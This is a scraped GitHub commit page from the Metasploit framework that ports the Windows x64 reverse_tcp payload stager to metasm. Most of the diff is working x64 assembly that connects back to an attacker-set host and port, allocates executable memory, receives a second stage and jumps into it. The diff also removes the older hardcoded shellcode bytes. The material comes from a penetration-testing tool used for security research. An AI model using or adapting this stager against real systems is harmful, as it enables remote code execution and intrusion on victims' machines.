Skip to content

Commit 91202e2

Browse files
committed
Port of reverse_tcp payload to metasm
1 parent fadb13b commit 91202e2

File tree

5 files changed

+218
-62
lines changed

5 files changed

+218
-62
lines changed

lib/msf/core/payload/windows/reverse_tcp.rb

Lines changed: 18 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -6,14 +6,12 @@
66

77
module Msf
88

9-
109
###
1110
#
1211
# Complex reverse_tcp payload generation for Windows ARCH_X86
1312
#
1413
###
1514

16-
1715
module Payload::Windows::ReverseTcp
1816

1917
include Msf::Payload::Windows
@@ -214,31 +212,31 @@ def asm_reverse_tcp(opts={})
214212
push edi ; the saved socket
215213
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
216214
call ebp ; recv( s, buffer, length, 0 );
217-
^
218-
219-
# Check for a failed recv() call
220-
# TODO: Try again by jmping to reconnect
221-
if reliable
222-
asm << %Q^
223-
cmp eax, 0
224-
jle failure
225-
^
226-
end
215+
^
227216

217+
# Check for a failed recv() call
218+
# TODO: Try again by jmping to reconnect
219+
if reliable
228220
asm << %Q^
229-
add ebx, eax ; buffer += bytes_received
230-
sub esi, eax ; length -= bytes_received, will set flags
231-
jnz read_more ; continue if we have more to read
232-
ret ; return into the second stage
221+
cmp eax, 0
222+
jle failure
233223
^
224+
end
225+
226+
asm << %Q^
227+
add ebx, eax ; buffer += bytes_received
228+
sub esi, eax ; length -= bytes_received, will set flags
229+
jnz read_more ; continue if we have more to read
230+
ret ; return into the second stage
231+
^
232+
233+
if opts[:exitfunk]
234+
asm << asm_exitfunk(opts)
235+
end
234236

235-
if opts[:exitfunk]
236-
asm << asm_exitfunk(opts)
237-
end
238237
asm
239238
end
240239

241240
end
242241

243242
end
244-

lib/msf/core/payload/windows/x64/bind_tcp.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -207,7 +207,9 @@ def asm_bind_tcp(opts={})
207207
jmp r15 ; return into the second stage
208208
^
209209

210-
asm << asm_exitfunk(opts)
210+
if opts[:exitfunk]
211+
asm << asm_exitfunk(opts)
212+
end
211213

212214
asm
213215
end
Lines changed: 192 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,192 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'msf/core/payload/windows/x64/block_api'
5+
require 'msf/core/payload/windows/x64/exitfunk'
6+
7+
module Msf
8+
9+
###
10+
#
11+
# Complex reverse_tcp payload generation for Windows ARCH_X86_64
12+
#
13+
###
14+
15+
module Payload::Windows::ReverseTcp_x64
16+
17+
include Msf::Payload::Windows
18+
include Msf::Payload::Windows::BlockApi_x64
19+
include Msf::Payload::Windows::Exitfunk_x64
20+
21+
#
22+
# Register reverse_tcp specific options
23+
#
24+
def initialize(*args)
25+
super
26+
end
27+
28+
#
29+
# Generate the first stage
30+
#
31+
def generate
32+
# Generate the simple version of this stager if we don't have enough space
33+
#if self.available_space.nil? || required_space > self.available_space
34+
# return generate_reverse_tcp(
35+
# port: datastore['LPORT'],
36+
# host: datastore['LHOST'],
37+
# retry_count: datastore['ReverseConnectRetries'],
38+
# )
39+
#end
40+
41+
conf = {
42+
host: datastore['LHOST'],
43+
port: datastore['LPORT'],
44+
retry_count: datastore['ReverseConnectRetries'],
45+
exitfunk: datastore['EXITFUNC'],
46+
reliable: true
47+
}
48+
49+
generate_reverse_tcp(conf)
50+
end
51+
52+
#
53+
# Generate and compile the stager
54+
#
55+
def generate_reverse_tcp(opts={})
56+
combined_asm = %Q^
57+
cld ; Clear the direction flag.
58+
and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
59+
call start ; Call start, this pushes the address of 'api_call' onto the stack.
60+
#{asm_block_api}
61+
start:
62+
pop rbp
63+
#{asm_reverse_tcp(opts)}
64+
^
65+
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
66+
end
67+
68+
#
69+
# Determine the maximum amount of space required for the features requested
70+
#
71+
def required_space
72+
# Start with our cached default generated size
73+
space = cached_size
74+
75+
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
76+
space += 31
77+
78+
# Reliability adds 10 bytes for recv error checks
79+
space += 10
80+
81+
# The final estimated size
82+
space
83+
end
84+
85+
#
86+
# Generate an assembly stub with the configured feature set and options.
87+
#
88+
# @option opts [Fixnum] :port The port to connect to
89+
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
90+
# @option opts [Bool] :reliable Whether or not to enable error handling code
91+
#
92+
def asm_reverse_tcp(opts={})
93+
94+
#retry_count = [opts[:retry_count].to_i, 1].max
95+
# TODO: reliable = opts[:reliable]
96+
encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first
97+
encoded_host = Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
98+
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
99+
STDERR.puts("#{encoded_host_port}\n")
100+
101+
asm = %Q^
102+
reverse_tcp:
103+
; setup the structures we need on the stack...
104+
mov r14, 'ws2_32'
105+
push r14 ; Push the bytes 'ws2_32',0,0 onto the stack.
106+
mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call.
107+
sub rsp, #{408+8} ; alloc sizeof( struct WSAData ) bytes for the WSAData
108+
; structure (+8 for alignment)
109+
mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.
110+
mov r12, #{encoded_host_port}
111+
push r12 ; host, family AF_INET and port
112+
mov r12, rsp ; save pointer to sockaddr struct for connect call
113+
; perform the call to LoadLibraryA...
114+
mov rcx, r14 ; set the param for the library to load
115+
mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
116+
call rbp ; LoadLibraryA( "ws2_32" )
117+
; perform the call to WSAStartup...
118+
mov rdx, r13 ; second param is a pointer to this stuct
119+
push 0x0101 ;
120+
pop rcx ; set the param for the version requested
121+
mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
122+
call rbp ; WSAStartup( 0x0101, &WSAData );
123+
; perform the call to WSASocketA...
124+
push rax ; if we succeed, rax wil be zero, push zero for the flags param.
125+
push rax ; push null for reserved parameter
126+
xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure
127+
xor r8, r8 ; we do not specify a protocol
128+
inc rax ;
129+
mov rdx, rax ; push SOCK_STREAM
130+
inc rax ;
131+
mov rcx, rax ; push AF_INET
132+
mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
133+
call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
134+
mov rdi, rax ; save the socket for later
135+
; perform the call to connect...
136+
push 16 ; length of the sockaddr struct
137+
pop r8 ; pop off the third param
138+
mov rdx, r12 ; set second param to pointer to sockaddr struct
139+
mov rcx, rdi ; the socket
140+
mov r10d, 0x6174A599 ; hash( "ws2_32.dll", "connect" )
141+
call rbp ; connect( s, &sockaddr, 16 );
142+
; restore RSP so we dont have any alignment issues with the next block...
143+
add rsp, #{408+8+8*4+32*4} ; cleanup the stack allocations
144+
145+
recv:
146+
; Receive the size of the incoming second stage...
147+
sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the second stage length
148+
mov rdx, rsp ; set pointer to this buffer
149+
xor r9, r9 ; flags
150+
push 4 ;
151+
pop r8 ; length = sizeof( DWORD );
152+
mov rcx, rdi ; the saved socket
153+
mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
154+
call rbp ; recv( s, &dwLength, 4, 0 );
155+
add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next
156+
; Alloc a RWX buffer for the second stage
157+
pop rsi ; pop off the second stage length
158+
push 0x40 ;
159+
pop r9 ; PAGE_EXECUTE_READWRITE
160+
push 0x1000 ;
161+
pop r8 ; MEM_COMMIT
162+
mov rdx, rsi ; the newly recieved second stage length.
163+
xor rcx, rcx ; NULL as we dont care where the allocation is.
164+
mov r10d, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
165+
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
166+
; Receive the second stage and execute it...
167+
mov rbx, rax ; rbx = our new memory address for the new stage
168+
mov r15, rax ; save the address so we can jump into it later
169+
read_more: ;
170+
xor r9, r9 ; flags
171+
mov r8, rsi ; length
172+
mov rdx, rbx ; the current address into our second stages RWX buffer
173+
mov rcx, rdi ; the saved socket
174+
mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
175+
call rbp ; recv( s, buffer, length, 0 );
176+
add rbx, rax ; buffer += bytes_received
177+
sub rsi, rax ; length -= bytes_received
178+
test rsi, rsi ; test length
179+
jnz read_more ; continue if we have more to read
180+
jmp r15 ; return into the second stage
181+
^
182+
183+
if opts[:exitfunk]
184+
asm << asm_exitfunk(opts)
185+
end
186+
187+
asm
188+
end
189+
190+
end
191+
192+
end

modules/payloads/stagers/windows/reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88
require 'msf/core/handler/reverse_tcp'
99
require 'msf/core/payload/windows/reverse_tcp'
1010

11-
module Metasploit3
11+
module Metasploit4
1212

1313
CachedSize = 281
1414

modules/payloads/stagers/windows/x64/reverse_tcp.rb

Lines changed: 4 additions & 40 deletions
Original file line numberDiff line numberDiff line change
@@ -6,14 +6,14 @@
66

77
require 'msf/core'
88
require 'msf/core/handler/reverse_tcp'
9+
require 'msf/core/payload/windows/x64/reverse_tcp'
910

10-
11-
module Metasploit3
11+
module Metasploit4
1212

1313
CachedSize = 422
1414

1515
include Msf::Payload::Stager
16-
include Msf::Payload::Windows
16+
include Msf::Payload::Windows::ReverseTcp_x64
1717

1818
def initialize(info = {})
1919
super(merge_info(info,
@@ -25,43 +25,7 @@ def initialize(info = {})
2525
'Arch' => ARCH_X86_64,
2626
'Handler' => Msf::Handler::ReverseTcp,
2727
'Convention' => 'sockrdi',
28-
'Stager' =>
29-
{
30-
'Offsets' =>
31-
{
32-
'LPORT' => [ 232, 'n' ],
33-
'LHOST' => [ 234, 'ADDR' ]
34-
},
35-
'RequiresMidstager' => false,
36-
'Payload' =>
37-
"\xFC\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51" +
38-
"\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52" +
39-
"\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0" +
40-
"\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED" +
41-
"\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88" +
42-
"\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44" +
43-
"\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48" +
44-
"\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1" +
45-
"\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44" +
46-
"\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49" +
47-
"\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A" +
48-
"\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41" +
49-
"\x59\x5A\x48\x8B\x12\xE9\x57\xFF\xFF\xFF\x5D\x49\xBE\x77\x73\x32" +
50-
"\x5F\x33\x32\x00\x00\x41\x56\x49\x89\xE6\x48\x81\xEC\xA0\x01\x00" +
51-
"\x00\x49\x89\xE5\x49\xBC\x02\x00\x11\x5C\x7F\x00\x00\x01\x41\x54" +
52-
"\x49\x89\xE4\x4C\x89\xF1\x41\xBA\x4C\x77\x26\x07\xFF\xD5\x4C\x89" +
53-
"\xEA\x68\x01\x01\x00\x00\x59\x41\xBA\x29\x80\x6B\x00\xFF\xD5\x50" +
54-
"\x50\x4D\x31\xC9\x4D\x31\xC0\x48\xFF\xC0\x48\x89\xC2\x48\xFF\xC0" +
55-
"\x48\x89\xC1\x41\xBA\xEA\x0F\xDF\xE0\xFF\xD5\x48\x89\xC7\x6A\x10" +
56-
"\x41\x58\x4C\x89\xE2\x48\x89\xF9\x41\xBA\x99\xA5\x74\x61\xFF\xD5" +
57-
"\x48\x81\xC4\x40\x02\x00\x00\x48\x83\xEC\x10\x48\x89\xE2\x4D\x31" +
58-
"\xC9\x6A\x04\x41\x58\x48\x89\xF9\x41\xBA\x02\xD9\xC8\x5F\xFF\xD5" +
59-
"\x48\x83\xC4\x20\x5E\x6A\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58" +
60-
"\x48\x89\xF2\x48\x31\xC9\x41\xBA\x58\xA4\x53\xE5\xFF\xD5\x48\x89" +
61-
"\xC3\x49\x89\xC7\x4D\x31\xC9\x49\x89\xF0\x48\x89\xDA\x48\x89\xF9" +
62-
"\x41\xBA\x02\xD9\xC8\x5F\xFF\xD5\x48\x01\xC3\x48\x29\xC6\x48\x85" +
63-
"\xF6\x75\xE1\x41\xFF\xE7"
64-
}
28+
'Stager' => { 'RequiresMidstager' => false }
6529
))
6630
end
6731

0 commit comments

Comments
 (0)